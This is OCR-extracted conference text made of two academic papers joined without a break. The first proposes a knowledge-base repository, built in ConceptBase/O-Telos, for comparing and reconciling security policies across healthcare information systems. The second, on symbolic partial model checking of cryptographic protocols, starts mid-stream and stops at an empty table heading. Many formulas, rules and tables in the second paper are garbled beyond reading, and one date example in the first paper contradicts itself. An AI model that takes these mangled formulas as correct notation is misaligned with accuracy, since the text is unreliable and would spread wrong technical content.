1.1 The Case of Co-operating Healthcare Information Systems

Co-operation among organizations often appears as a prerequisite for increasing com-
petitiveness and effectiveness in both the public and private sectors of the economy.
Interorganizational co-operation entails Information Systems (IS) co-operation, which
usually goes far beyond the mere exchange of data through data networks.

Our research was triggered by the fact that nowadays the exchange of information
between Health Care Establishments (HCE) has become a requirement. This is a spe-
cial case of IS co-operation, with particular privacy-focused and security-related char-
acteristics:

— Healthcare Information Systems (HIS) process medical data. This type of data
must be complete and accurate, otherwise peoples’ health and life are at risk.
Therefore, the protection of medical data integrity is judged to be an essential re-
quirement for any HIS.

— Medical data should be accessible and ready for immediate use, especially in cases
of emergency. Thus, availability of data is an essential requirement.

— Many countries have put in force privacy legislation with strict rules regarding the
collection and processing of sensitive data, including medical data. Furthermore,
the physician-to-patient relationship is jeopardized when people do not trust that
their personal health information will be kept confidential, and that these data will
not be utilized for purposes other than medical.

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 112-121, 2003.
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The increased mobility of patients and doctors, in conjunction with the existence of
medical groups consisting of medical doctors, hospitals, medical centers and insur-
ance companies, pose significant difficulties on the management of patients’ medical
data. Inevitably this will affect the quality of the health care services provided except
if an efficient co-operation scheme among health organizations is established.

Moreover, it is a normal procedure today that several HCE maintain a common da-
tabase for collecting and processing information (e.g. cancer registers, diabetic regis-
ters, etc.) for research or educational purposes. Although the “need” and “trend” for
co-operation is clear and well understood, things are not straightforward due to factors
such as the different cultures of different countries, the incompatibility of healthcare
systems, or certain deviations in legislation.

Co-operation among HIS requires: (a) interoperability and (b) equivalent security
and privacy levels. The work on the development of standards has a significant con-
tribution towards HIS interoperability, through the provision of common message
formats and medical record architectures.

However, security issues may hinder HIS co-operation. Conflicting security poli-
cies may result in diminished interoperability and lack of trust. For example, a re-
quirement of some HCE may be that all transmission of medical data through com-
puter networks should be encrypted, whilst this is not the case for other HCE, or it is
put on the basis of a different cryptosystem. On top of that, HCE would only accept to
exchange sensitive medical data between them or with other organizations, if and only
if the corresponding security policies ensure an equivalent level of protection.

1.2  Current Practice

The approach currently adopted by most organizations is to build customized security
policies, which reflect their needs by extending the principles and guidelines sug-
gested by generic security policies. Generic security policies [1] comprise of princi-
ples and abstract guidelines for protecting information systems. These policies, how-
ever, do not take into account the special technological and organizational context of
each information system. Therefore, the generic policies should be further analyzed so
as to provide for a system-specific security policy. Therefore, the purpose of a generic
security policy is only to provide a baseline level of privacy and security.

Since the specific rules and measures included in each security policy are different,
several conflicts may arise. Moreover, the level of protection provided by each of the
system-specific security policies may differ significantly. It is, therefore, possible that
the level of mutual trust is diminished and the exchange of information among HIS is
obstructed. For the above reasons, it is necessary to develop mechanisms for compar-
ing and analyzing security policies and detecting and resolving conflicts [2].

2 The Meaning and Nature of Security Policies

The term security policy refers to a variety of conceptual constructs, such as formal
models, generic principles, or strategic security goals. In our perspective, the core
component of a security policy is a set of compulsory guidelines and rules. Guidelines
describe the measures to be taken for the protection of an IS. They usually take the
form of authoritative statements, i.e. policy statements.
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Rules (e.g. access control rules) are more precise than guidelines and can be repre-
sented formally. Security policies should have a goal and a set of security objectives.
Moreover, security policies are based on a model of the pertinent IS. This model
should include, at least, the main roles associated to security management, the assets
to be protected, and the main activities or processes that utilize those assets.

Security policies do not specify in detail the particular tools and controls to be
used. So, at least in the case of a HIS, security policies could be publicized without
jeopardizing the security of the HIS. On top of that, there are several stakeholders that
need to know the security policies adopted and the means to assess their effectiveness.
These may include data protection authorities, i.e. public authorities that monitor and
regulate the processing of personal information, medical associations, and patient
organizations.

2.1 Reasons for Policies’ Differentiation

As each organization develops its own security policy, the resulting policies differ in
the degree of abstraction, granularity, and formality, using different terms and con-
cepts. The reasons causing differentiation of policies are summarized in the sequel:

— Level of formalization. Policies can be expressed formally, or they consist of natu-
ral language statements. Translating natural language policy statements to a formal
language looks like a promising solution. However, this translation entails the in-
terpretation of policy statements and the resolution of ambiguities, which are in-
herent in natural language statements. Both actions result in diminishing the flexi-
bility and the adaptability of the policy. This problem is equivalent to formalizing
legislation and thus automating justice.

— Policy paradigm. Policies adopt different paradigms. The most common paradigm
is the role-based paradigm. Following this paradigm, the policy provides rules ap-
plying to roles, instead of subjects. Then, additional rules are necessary for assign-
ing roles to subjects under a specific context (e.g. for a specific time-frame). How-
ever, there are cases where this paradigm is not applicable. Consider, for example,
the Chinese Wall security policy [3], which applies directly to subjects and it is
thus not feasible to adapt it to the role-based paradigm. So, the adoption of other
paradigms should not be excluded. These paradigms include subject-oriented poli-
cies (e.g. the Chinese-Wall security policy) and object-oriented policies.

— Obligation and authorization. Authorization policies are policies specifying the
activities that a subject is allowed or not allowed to perform, whilst obligation poli-
cies specify the activities that a subject must or must not perform [4].

— Granularity level. Differences may, also, arise from the way a policy is defining
the granularity of objects, activities, or roles. Policies may refer to a database or to
a field in a table, to business activities, to read-write actions, to general roles, such
as a ‘physician’, or to specific roles, such as ‘chief pathologist in clinic A’.

The existence of such significant differences in policy formulation and representation

makes the task of comparing and assessing security policies of different IS difficult.

Forcing organizations to adopt a unique type of policy is not considered an option,

since organizations should retain their autonomy. Instead, we provide a common

conceptual model and a structured framework for representing security policies and
thus facilitate the juxtaposition and assessment of policies. This is the basis of the

Security Policies Repository that we shall present in the following paragraphs.
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3  The Use of a Security Policies Repository

We propose a Security Policies Repository (SPR), which consists of a knowledge
base storing the security policies of co-operating HIS (Fig. 1). Each HCE is responsi-
ble for developing and maintaining its own security policy. Third parties are not al-
lowed to modify the policies, although they can query the knowledge base and re-
trieve information regarding the policies adopted by the specific HCE. The use of the
SPR aims to:

1. Publicize the security policies of the involved parties (stakeholders).

2. Facilitate conflict detection and resolution.

3. Facilitate the assessment of the security policies’ adequacy and effectiveness.

4. Facilitate negotiations aiming to achieve a satisfactory and uniform level of secu-
rity and privacy protection.

5. Monitor the solutions that were provided for reconciling security policies.

The SPR provides a common pre-defined structured framework, as presented in the
following section, for the representation of security policies, based on a common
conceptual model. Furthermore, it provides for a system for storing and managing
security policies. Thus, HCE wishing to join a group of co-operating HCE should
register with the SPR and submit its own security policy. The protection level can
then be assessed either by the co-operating HCE or by an independent third party.
Moreover, policy conflicts can be detected and resolved in a collaborative way. The
SPR is supported by a co-ordination team, which is responsible for maintaining the
SPR and may also provide facilitation services for negotiations between HCE.
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Fig. 1. The SPR model
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4 Implementation of the SPR

The SPR has been developed using ConceptBase [5], a deductive object manager for
knowledge management. ConceptBase supports O-Telos, a knowledge representation
language [6], [7]. The decision to use a knowledge representation language for devel-
oping SPR was based on the fact that O-Telos:

— Allows for the definition of a common conceptual model that forms the basis for
expressing different security policies in a well-structured way. Thus, it allows for
harmonization of policy representation without restricting the diversification of
policies.

— Supports the representation and maintenance of both, guidelines expressed as natu-
ral language statements, and formal rules. The latter are represented in the SPR as
well-formed formulas in first order logic, utilizing the deductive mechanism pro-
vided by ConceptBase.

— Supports hierarchies of concepts through a generalization/specialization mecha-
nism. Thus, rules expressed in abstract terms (e.g. agent, role, etc.) apply directly
to derivative concrete objects (e.g. Security Officer X).

— Supports temporal knowledge, so it is possible to keep record of all modifications.

4.1 Features of O-Telos

A knowledge base in O-Telos consists of propositions, which are statements repre-
senting beliefs. Propositions are of two kinds: individuals and attributes. Individuals
are intended to represent entities, while attributes represent binary relationships be-
tween entities or other relationships.

A proposition is defined as a quadruple with the following components: “from”,
“label”, “to” and “when”. For example, the proposition p:[Bob, job, security officer,
16 March 2000] is interpreted as “from(p) = Bob”, “label(p) = job”, “to(p) = security
officer” and “when(p) = 20 March 2003”.

Propositions in O-Telos are organized by utilizing three conceptual tools, namely:
aggregation, classification and generalization. Collecting attributes that have a com-
mon proposition as a source performs aggregation, thus providing support to build
structured objects. As an example, consider the following O-Telos declaration that
introduces a token named Bob with attributes having as source the individual Bob.

TELL Bob IN EmployeeClass

WITH
job: ‘security officer’;
address : ’'Patission 76’';
city : Athens

END

Classification requires each proposition being an instance of one or more generic
propositions or classes. Classes are themselves propositions and therefore instances of
other more abstract classes. Generally, propositions are classified into tokens (propo-
sitions having no instances and intended to represent concrete entities in the domain
of discourse), simple classes (propositions having only tokens as instances), meta-
classes (having only simple classes as instances), meta-metaclasses, and so on.
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In the above declaration the token Bob belongs to a class named EmployeeClass
that should also be defined by a TELL declaration. Classes can be specialized along
generalizations or ISA hierarchies. For example,

TELL Subject isA Entity
WITH
attribute
subjectName : NameClass
END

means that a Subject is an entity with all entity attributes (as defined in the Entity
Class declaration), plus a name, which is an instance of the Name Class. Note that iSA
hierarchies are orthogonal to the classification dimension. In addition, O-Telos pro-
vides operations such as TELL, UNTELL and RETELL, used to extend or modify a
knowledge base, and also RETRIEVE and ASK, which can be used to query it.

4.2 Conceptual Model

A security policy in the SPR consists of the following basic elements: Objective,
Guideline, Rule, and Domain.

Objectives
The “Objectives” are derived from the organization’s strategy towards security. They
express this strategy and the associated security goals in a concrete and precise way.

Guidelines

“Guidelines” are expressed in natural language in the form of ‘policy statements’.
They are instructions on activities to be or not to be performed, procedures to be fol-
lowed and decisions to be made. Guidelines in the SPR follow a three level structure:
the first level comprises of abstract guidelines, which come from generic security
policies; the second level guidelines are concrete statements while the third level
guidelines represent implementation options. Each guideline belongs to a category
and is assigned a unique code. This structure facilitates the comparison of security
policies and the assessment of their effectiveness. We may, for example, examine the
completeness of the policy by examining if it provides guidelines covering all catego-
ries.

Rules

Rules in the SPR are represented as formal rules, expressed in first-order logic. The
SPR can check for possible violations of rules automatically, something that cannot
be realized with guidelines. An indicative rule declaration in O-Telos is the following.

TELL StarProperty isA Rule
WITH
attribute, rule
ruledef: $ (exists ag/Agent actl,act2/Activity
o,p/Object
(actl in BLPpolicy.domain.activity) and
(o0 in actl.object) and
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(ag in actl.agent) and

(actl type Read) and

(act2 in BLPpolicy.domain.activity) and

(p in act2.object) and

(ag in act2.agent) and

(act2 type Write) and

not (o.securityclass lowerEqual
p.securityclass))

==> (StarProperty in FailedRule)

END

Domain

Each policy has a range of applicability, called its “security domain”. In addition,
policies incorporate a model of the corresponding security domain. In the SPR, the
security domain model comprises of the following interrelated elements: Objects,
Agents and Activities. Objects are resources controlled by the policy. They are the
assets of the information system, which need protection and include data, software,
and hardware assets. In order to allow for policies following different paradigms to be
represented in the SPR, we have included two more related concepts: Subjects and
Roles.

Subjects refer to acting entities, usually people, or processes that act on behalf of
some people. Roles are abstract descriptions of entities, such as managers, doctors,
nurses, etc. Usually, role-based policies provide rules for deciding whether a subject
should be assigned a role at a particular situation.

Agents are subjects that have been assigned a role, thus being a more abstract con-
cept. Therefore, an agent can be equivalent to a role if it refers to any subject assum-
ing this role and on the other hand an agent can be equivalent to a subject if it refers to
that subject regardless of the roles it has been assigned to. Agents are hierarchically
structured with the iSA relationship. For example, if nurse is an agent name, then we
may declare that ward-A nurse isA nurse and, automatically, all rules regarding
nurses will also apply to the ward-A nurse.

Activities are performed by agents and use objects (i.e. resources). Activities can be
as general as “managing a hospital” or as concrete as “read-access” of a subject to an
object. In the latter case, activities are equivalent to actions. The basic conceptual
model of the SPR is presented in Fig. 2.

5 Conflict Management Strategies

Conflict management comprises of a) conflict detection and b) conflict resolution. It
can be realized through the following steps:

1. Resolution of conflicting objectives.
2. Semantic heterogeneity resolution.
3. Resolution of domain overlapping.
4. Antagonism reconciliation.
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Fig. 2. Basic conceptual model of the SPR

5.1 Step I: Resolution of Conflicting Objectives

The detection and resolution of conflicting security objectives is a prerequisite for
addressing more specific conflicts. Although this process cannot be performed auto-
matically, the SPR facilitates the process through the structured representation of
security objectives.

5.2 Step II: Semantic Heterogeneity Resolution

It is normal for policies that have been conceived and formulated by different authors
to use concepts and terms differently. Due to this fact many conceptual discrepancies
may arise. Examples of conceptual discrepancies include the homonyms problem,
where two diverse entities are referred with the same term, and the synonyms prob-
lem, where different terms refer to the same entity. The detection of discrepancies can
be considered as an instance of the semantic heterogeneity problem.

That is how to decide whether given incomplete and heterogeneous sets of repre-
sentation symbols refer to the same underlying reality [8]. Various techniques have
been proposed for detecting and resolving semantic conflicts in areas such as multiple
requirement specifications [9] and multiple database systems, e.g. federated databases
[10].

5.3 Step III: Resolution of Domain Overlapping

Domains consist of activities performed by agents that use resources (i.e. objects).
Domain overlapping is a common cause of conflict occurring when two or more poli-
cies apply to the same domain elements. The problem arises when agents performing
an activity have to obey conflicting rules posed by different policies. These conflicts
can be resolved by adopting one of the following methods:

— Policy modification. One of the policies is either modified or cancelled. This pro-
cedure involves negotiations that may lead to mutual agreements on the needed
modifications.
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— Domain separation. Domains can be separated by splitting the activities, for which
a conflict exists, into two or more activities that belong to different domains.

— Prioritizing and regulating policies. The enforcement of policies could be regu-
lated through predefined priority sets or specialized rules. These sets or rules may
be recorded in meta-policies, (i.e. policies about policies), which are also stored in
the SPR.

5.4 Step IV: Antagonism Reconciliation

Antagonism refers to conflicts arising when security policies compete over the control
of objects and agents. This is similar to domain overlapping, but whilst domain over-
lapping refers to conflicting rules for the same activities performed by the same
agents on the same objects, antagonism refers to conflicts that concern the same ob-
jects or agents for different activities. Another case of antagonism is when different
policies allow the same subject to assume several conflicting roles.

6 Policy Assessment

Another contribution of SPR is its potential use for the assessment of security poli-
cies. The structured way, in which policies are expressed within the SPR, facilitates
the process of assessing the completeness and effectiveness of security policies. The
assessment process should consider issues, such as:

1. Are the declared objectives compatible with the existing legislation, codes of con-
duct and, if there are such, generic security policies?

2. Are the existing rules and guidelines sufficient for the achievement of the declared
objectives?

3. Are all the necessary categories of guidelines covered by specific guidelines?

4. In case IS claims to follow a generic security policy, are there rules and guidelines
for achieving the required specialization of the generic security policy in an effec-
tive way?

5. Does the domain model describe adequately the actual domain of application?

6. Are all domain elements sufficiently controlled by the policy?

7. Is the policy implemented correctly?

Policy assessment can be performed by any of the parties registered with the SPR.
However, it is suggested that preferred policies are identified and assured by author-
ized third parties only. Policy assessment does foster trust between HCE, as well as
between patients and HCE. This is a prerequisite for HIS co-operation as well as for
the effective operation of any HIS alone.

7  Conclusions

We have presented the Security Policies Repository (SPR), a system facilitating the
modeling, storage, and management of multiple security policies. The SPR supports
the juxtaposition of security policies, in order to detect, analyze, and resolve conflicts,
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and to compare and negotiate the protection level offered by the IS of each co-
operating party.

SPR is built around a knowledge base, which provides a common conceptual
model and a structured framework for representing policies and, on top of that, the
tools for managing policies.

The SPR aims at supporting co-operation of Healthcare Information Systems in
different contexts. However, it can be used in several cases of co-operative IS, espe-
cially when diverse security policies hinder IS co-operation. Using SPR, it is possible
to:

1. Publicize the security policies to all interested parties (stakeholders).

2. Detect and potentially resolve policy conflicts.

3. Assess the adequacy and effectiveness of the security policies in use.

4. Facilitate negotiations aiming to achieve an adequate level of security and privacy.
5. Record the solutions that were provided for reconciling security policies.

Further research could focus on developing a comprehensive Security Policies Man-
agement System, based on the SPR, which will support automatic conflict detection,
negotiation, and conflict resolution.

Further research may focus on developing a method for assessing the completeness
and effectiveness of security policies, based on the framework provided by the SPR.
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Abstract. In this paper, we present a symbolic version of the Hennessy-
Milner logic for expressing security properties. The models of the logic
are CryptoCCS processes with their symbolic semantics. We study the
model checking problem and partial model checking techniques for the
logic.

1 Introduction

One of the main problems in the analysis cryptographic protocols is the uncer-
tainty about the possible enemies or malicious users that may try to interfere
with the normal execution of a protocol. The verification problem for a security
property may be naturally expressed as a verification problem for open systems
as advocated in [OITO[IT]. Indeed, for every possible enemy X we have that

S|X E F (1)

where S is a process in a concurrent language with | as parallel composition
operator, as CCS (e.g., [13]), F is a temporal logic formula and |= is the truth
relation between processes and formulas. Roughly, if we imagine that F' speci-
fies that the system under investigation is secure, then the previous statement
requires that the system S in “composition” with whatever intruder X is still
secure.

The universal quantification makes it difficult to deal with such verification
problems. A verification approach based on partial model checking and satisfi-
ability procedures for temporal logic has been proposed in [QTOITT]. Basically,
partial model checking is a technique which enables us to project the property
that a compound system must enjoy in a property that one of the components
has to satisfy. More formally, we can find a formula F//g s.t.

S|IXEF iff XkEF/s
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societa dell’informazione” and finally by CSP with the project “SeTAPS”.
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Thus, () is reduced to a satisfiability (validity) checking problem. For certain
classes of formulas, especially the ones that express reachability properties, such
a satisfiability problem can be efficiently solved.

We defined in [9T0] a variant of CCS process algebra suitable to model cryp-
tographic protocols, i.e. CryptoCCS. In [g], a symbolic semantics for Crypto-CCS
has been given. In a symbolic semantics, usually the set of possible messages
that a process may receive in input is implicitly denoted by some kind of sym-
bolic representation (e.g., see [3]). On this representation several operations are
possible that mimic the concrete semantics (usually based on explicit replacing
of variables with messages). Clearly, there must be an agreement between the
concrete semantics and the symbolic one. A symbolic semantics is usually more
technically challenging than the corresponding concrete one. However, analyzing
with the symbolic representation is usually more efficient than with the explicit
one; moreover, as in the case of cryptographic protocols, the symbolic semantics
often allows to finitely describe infinite sets of messages that otherwise could not
be explicitly treated.

In this paper we develop a version of the Hennessy-Milner logic [2] suitable for
describing security properties. We then extend the analysis approach based on
partial model checking (e.g., see [I0JI]) to such a symbolic logic. We stress that
we do not have a built-in notion of the intruder. In our framework, an intruder
could be any term of the algebra. This makes our approach, in principle, not
uniquely tailored for security analysis. Moreover, to the best of our knowledge
this is the first attempt to provide a symbolic technique to partial model checking
problems.

The rest of the paper is organized as follows. Section 2 recalls the symbolic se-
mantics for Crypto-CCS based on list of constraints and the necessary technical
tools to analyze such constraints. Section 3 introduces the symbolic Hennessy-
Milner logic. Section 4 presents the analysis for checking security properties
through symbolic partial model checking. Finally, Section 5 gives some conclud-
ing remarks.

2 Symbolic Semantics for Crypto-CCS

This section recalls the symbolic semantics for CryptoCCS defined in [g].

Our model consists of a set of sequential agents able to communicate among
each other by exchanging messages. We decided to parameterize the value pass-
ing CCS calculus through a set of inference rules for coping with the variety
of different cryptosystems. For the application of these rules, we added a new
construct to the language.

2.1 Messages and Inference Systems

Here, we define the data handling part of language. Messages are the data ma-
nipulated by agents. We introduce also the notion of inference system which
models the possible operations on messages. Formally, as messages we consider
the terms of a given algebra (with the usual definitions).
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Inference System. Agents are able to obtain new messages from the set of mes-
sages produced or received through an inference system. This system consists in
a set of inference schemata. An inference schema can be written as:
mq ce s
r=--—-—-
mo
where myq, ..., my, is a set of premises (possibly empty) and my is the conclusion.
Consider a substitution p then let mp be the message m where each variable z is
replaced with p(z). Given a sequence of closed messages m/, ..., m, , we say that
a closed message m can be inferred from m/, ..., m/, through the application of
the schema r (written as m},...,m/, b, m) if there exists a substitution p s.t.
mop = m and m;p = m}, for i € {1,...,n}. Given an inference system, we
can define an inference function D s.t. if ¢ is a finite set of closed messages,
then D (¢) is the set of closed messages that can be deduced starting from ¢
by applying only rules in R. In Table [I, we present the usual inference system
for modeling shared-key encryption within process algebras (e.g., see [5IT415]).
Rule (pair) is used to construct pairs while Rules (fst) and (snd) are used to
split pairs; Rule (enc) is used to construct encryptions and Rule (dec) is used to
decrypt messages.

Table 1. A simple inference system

Etx, yy) (pair) (a:g,vy) (fst) (xg,ly) (snd)
a{cx}g (end) 7{1:}; Y (dec)

2.2 Agents and Systems

We define the control part of our language for the description of cryptographic
protocols. Basically, we consider (compound) systems which consist of sequential
agents running in parallel. The terms of our language are generated by the
following grammar:

(COMPOUND SYSTEMS:) S ::i= S\ L|S1]S2 | Ay
(SEQUENTIAL AGENTS:) A :==0|p.A|[my...my H z]A;
(PREFIX CONSTRUCTS:) p ::= clm | c?x

where m,my,...,m, are closed messages or variables, x is a variable, C' is a
finite set of channels with ¢ € C, ¢ is a finite set of messages, L is a subset of C.

We briefly give the informal semantics of sequential agents and compound
system as well as some static constraints on the terms of the language.

— 0 is the process that does nothing.
— p.A is the process that can perform an action according to the particular
prefix construct p and then behaves as A:



Symbolic Partial Model Checking for Security Analysis 125

e clm allows the message m to be sent on channel c.
e c?x allows messages m to be received on channel c. The message received
substitutes the variable z.

— [m1...my, b, 2] Ay is the inference construct. If, applying a case of inference
schema r with the premises m; ...m,, a message m can be inferred, then
the process behaves as A; (where m substitutes x). This is the message-
manipulating construct of the language for modeling cryptographic opera-
tions.

— A compound system S\ L allows only external actions whose channel is not
in L. The internal action 7, which denotes an internal communication among
agents, is never prevented.

— A compound system S | Sq performs an action a if one of its sub-components
performs a. A synchronization or internal action, denoted by the symbol 7,
may take place whenever S and S; are able to perform two complementary,
i.e. send-receive, actions.

— Finally, the term Ay represents a system which consists of a single sequential
agent whose knowledge, i.e. the set of messages which occur in its term A,
is described by ¢. The agent’s knowledge increases as it receives messages
(see rule (7)), infers new messages from the messages it knows (see rule Dy ).
Sometimes we omit to represent agent’s knowledge when this can be easily
inferred from the context.

We assume on the process terms some well-formedness conditions that can be
statically checked. In particular the inference construct [mg ... my, . £]A; binds
the variable z in A;. The prefix construct ¢?z.A binds the variable z in A. We
assume that each variable may be bound at most once. For every sequential
agent Ag, we require that all the closed messages and free variables (i.e., not
bound) that appear in the term A belong to its knowledge ¢. A sequential agent
is said to be closed if ¢ consists only of closed messages.

2.3 Symbolic Semantics

In the symbolic semantics, we may have some CryptoCCS terms that present
in their knowledge ¢ some variables. The actual values that can be substituted
to the variables in order to have a common CryptoCCS process will be denoted
through a symbolic language. This language will encode the possible substi-
tutions from variables to closed messages. For instance, we can denote that a
variable  may be the application of the message constructor F' to every message
by simply requiring « € F(y). Indeed, variable y is not constrained and so its
value can range over all possible messages. We can also join two constraints:
e.g., x € F(y),y € m (where m is closed) simply represents that x must be
equal to F(m) and y to m. During the analysis of a security protocol is also
useful to be able to express that a variable may store whatever message one
can deduce from a certain set of messages. This enable us to model what an in-
truder may send to the system under attack by using the set of messages it has
already acquired during the computation, i.e. its knowledge ¢. Indeed, we use
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Table 2. Symbolic operational semantics, where the symmetric rules for |, |,,\1 are
omitted

!S) rue:c!m (?S) rue:c?x
(clm.A) "S5 (4)g. (c?.A)p "5 (A)guay
e} !/
(Ds) (An)ouizp — (]?}V)ﬁ: - N = constr(r, (m1,...,mn), x)
(Im1...mnbrz]A1)g == (A1)
: relm el I:clm
() s g s ( )SM‘—>S s 5 YL g (\15)5“435 S c¢lL
Bes Mgt s, s s M 8y S\ L Mg

T € DR({tl7 ..., tn}) to express that « can be deduced by applying the rules in R

from the messages {t1,...,t,}. Such contraints on variables may be extended to
constraints on terms, i.e. we may require that F(x) € DE({t,...,t,}),G(2) €y
and so on.

The lists of constraints on the set of possible substitutions, ranged over by
M, N, ..., may be defined as follow:

M:=C,Mle
C ::=false|true|t € t' |t € DE({t1,...,tn})

where ¢,t',t1,...,t, are messages (possibly open). Lists of constraints are used
to represents (possibly infinite) sets of substitutions from variables to closed
messages. Let Substs be such set of substitutions. The semantics [M] of list of
constraints M is defined as follows:

[e] = Substs, [C,M] = [C]N[M], [true] = Substs, [false] =10
[tet]={o|tec € {t'c}}
[t € (DE({t1,...,tn}))] = {o|toc € DE({t10,... , tha})}

The symbolic semantics for Crypto-CCS is given in Table 2 where S MXS S’
means that S may evolve through an action « in S’ when the constrains in M
are satisfied. The function constr(r, (my,...,my,),z), with r =m/} ... m}, Fm{,
defines the list of constraints imposed by the rule r and is defined as:

my €my,...,ml € m,,x € mg
where m] = mjo’ and ¢’ is a renaming of the variables in the terms m; with
totally fresh ones (we omit here the technical details for the sake of clarity).
. C . . . .
As a notation we also use S »41 S’ if 7 is a finite sequence of actions a;,1 <

. . . . Mi: My :on
i <nand C = M,..., M, is a list of constraints s.t. S = Sy —ve ... =5

Sp=5".
2.4 Symbolic Analysis

In order to develop a decidable verification theory, we need to compute when
a list of constraints is consistent or not, i.e. there exists a substitution ¢ which
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enjoys it. To obtain such result we will assume some restrictions on the class of
inference systems. Here we use the terminology of [H] about inference systems.
Given a well-founded measure on messages, we say that a rule

. my My

Mo

is a S-rule (shrinking rule), whenever the conclusion has a smaller size than
one of the premises (call such premises principal); moreover all the variables
occurring in the conclusion must be in all the principal premises. The rule r is
a G-rule (growing rule) whenever the conclusion is strictly larger than each of
the premises, and each variable occurring in the premises must also be in the
conclusion.

Definition 1. We say that an inference system enjoys a G/S property if it con-
sists only of G-rules and S-rules, moreover whenever a message can be deduced
through a S-rule, where one of the principal premises is derived by means of a
G-rule, then the same message may be deduced from the premises of the G-rule,
by using only G-rules.

Several of the inference systems used in the literature for describing crypto-
graphic systems enjoy this restriction.

It is worthy noticing that using G-rules for inferring the principal premises of
an S-rules, is unuseful. Thus, shrinking rules may be significantly applied only to
messages in ¢ and to messages obtained by S-rules. However, since the measure
for classifying the S-rules is well founded then such application phase would
eventually terminate.

Consistency Check. We will be interested in establishing whether or not a list
of constraints is satisfiable. There are several formats for the lists of constraints
whose satisfiability problems can be easily solved.

We say that a list M of constraints is in normal form (nf for short) whenever
the followings hold:

— the left hand side of each constraint is a variable,
— each variable occurs in the left hand side at most once,
— each deduction which occurs in the right hand side only consists of G—rules.

We say that a list M of constraints is in simple normal form (snf for short) if
it is in normal form and moreover all the constraints but false are of the form
T € t.

We first study the consistency problem for lists in simple normal form. We
can define a dependency relation between the variables that occur in lists of
constraints in simple normal form: we say = <}, y (z <%, y) whenever there
exists in M a constraints like € F(t,...t,) (z € y) and y occurs in t;, for
i € {1,...n}. Consider the relation <j;; which is obtained by considering the
transitive closure of the relation <}, U <9, where at least one step of closure is
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obtained through a pair of the relation <},. Roughly, x <); y means that o(z)
is a proper subterm of o(y), for any o € [M].

We say that a list of constraints is well defined (wd for short) there exist no
variables z,y s.t. <% y (i.e. the reflexive and transitive closure of <9,) and
x <p; y. It is not difficult to check that a list of constraints in simple normal
form is consistent, i.e. [M] # 0, if and only if M is well defined and no false
occurs in M.

The unique difference between the normal forms and the simple ones is in the
presence of Deduction constraints. We allow only G-rules in lists of constraints in
normal form. Thus, the size of the term denoted by the variable on the left hand
side will be larger than the ones of the terms denoted by variables occurring
in the Deduction constraint. Moreover, each application of a G-rule would grow
the set of possible dependencies of the variable in the left hand side. Thus, if it
is not possible to construct a substitution ¢ by non-deterministically choosing a
term in the Deduction constrain to match with the variable then it definitely not
possible to assign o(z) in any other way. Thus, we may define ct(M) that given
a list on normal form returns true if and only if M is consistent. Similarly, given
a set of list of constraints {M, ..., M;} in normal form, let ctc({M, ..., M;})
be the function that returns true if and only if there is a consistent list M;, with
ied{l,...,1l}.

Covering. We say that a set of lists of constraints {M;,..., M;} is a covering

for a list M whenever:
M= |J [

i€{1,...,1}
The notion of covering naturally extends to sets of lists of constraints.

Under the restrictions on the kind of inference systems, we can define a
procedure nfc (see Tab. B) that given a list of constraints returns a (finite)
normal form covering of such list. Together with the function that checks the
consistency of lists of constraints in normal form, nfc gives a procedure for
checking the consistency of the lists of constraints that will be generated during
our security analysis. The nfc procedure performs basic transformations yet
preserving the covering. Note that in a call nfe(C;C’) the component C' is
already in normal form. We say that a list of constraints M is monotonic when
if M = My,t € DE(T), My, t' € DE(T"), M3 then T C T’. The class of constraints
that we generate during security analysis is of this kind. We say that a list is
closed whenever the set of variables in the left hand side are tied to closed terms
(possibly transitively).

Lemma 1. We have that nfc(M) is a covering in normal form of M, i.e.:
[[M]] = UM/anC(M) [[M/]]
provided that M 1is monotonidll and closed.

! The definition of the nfc procedure is simplified w.r.t. to the one given in [8], due
to the assumption of monotonicity.
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Table 3. Normal form covering procedure

nfe(Cs) ={C}

nfc(C;true, Cy) =nfe(C;Ch)

nfec(C, false, C) = {false}

nfc(C;t € t,Ch) = nfe(C;Ch)

nfe(C,z et ,C';x €t,Ch) =nfc(C,xz et ,C;t et,Cy)
nfc(C,z € DY(T),C";z € t,Ch) = nfe(C,C";x € t,t € DY(T),Ch)
nfc(Ciz € t,Cr) =nfc(Clt/x],z € t; C1[t/x])
nfc(C;t € z,Ch) =nfe(C;z €t,Ch)
nfe(C; F(ti, ... tn) € F(t1,...,th),C1) =nfe(Cit1 € t1,...,t, € t,,Ch)
nfc(CyF(ti, ... tm) € G(t1,...,t,),C1) = {false}

nfc(C;t € DE(T"), Ch) = Uy e nfe(C,t € t)U

YUoreo-steps (Tt nfe(C,C)
nfce(C,x € DT, C";2 € DE(T"),C1) =nfe(C,C";2 € DY(T' NT"),Ch)
nfc(C,x €t',0";x € DYT'), Ch) =nfe(Cyz et C';t' € DY(T),Ch)
nfe(Cit € DHPP(T),Ch) = Ucy)es-steps(z.t,app) 1S €(C5 C2, C1)

Unfe((C;t € DY(T)))

where:

G-steps(T',t) = {constr(r,DY(T),v),v € t | r € G-rules}

S-steps(T, t, app) = {(C",t € DRrr AN (T U {v})) |
r € S-rules,t’ € T, (r,t') & app,r = m1...myp...my = mo,
C' =v € mo,m, €t',m; € DY(T)}

3 Symbolic Hennessy-Milner Logic: A Logical Language
for the Description of Protocol Properties

We illustrate the logical language SHML, namely Symbolic Hennessy-Milner
Logic for the specification of the functional and security properties of a compound
system. We accommodate the common Hennessy-Milner Logic, i.e. a normal
multimodal logic (e.g., see [16]), with atomic propositions which make it possible
to specify whether a message may be deduced by a certain agent in the system.
Moreover, since here we have a symbolic semantics rather than a concrete one,
we need also to embody the constraints about the action relations. The syntax
of the logical language SHML is defined by the following grammar:

Fu=T|KQ|-F[(M:a)F |V F;

where M : a € Actg, m is a closed message, X is an agent identifier and T is
an index set.

2 We note that a single identifier can be assigned to every sequential agent in a com-
pound system (e.g., the path from the root to the sequential agent term in the
parsing tree of the compound system term).
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Informally, T is the logical constant true; —F' is the negation of F'; a formula
K expresses that an agent of S, identified by X (we write X € ), can infer
the message m; the (M : a)F modality expresses the possibility to perform a
symbolic transition M’ : a and then satisfy F provided that M’, M is a consistent
list of constraints; V;c; represents the logical disjunction. As usual, we consider
Viep as F, where F is a short-cut for —=T.

The truth relation is =5, where M is a list of constraints which regard the
free variables of the system and of the formula. This allow us to consider system
configuration where some variables may be free but somehow constrained.

Finally, the formal semantics of a formula F € SHML w.r.t. a compound
system S is inductively defined in Tab. Fl where we assume that Vars(S) N
Vars(F) = 0.

Table 4. Semantics of the logical language

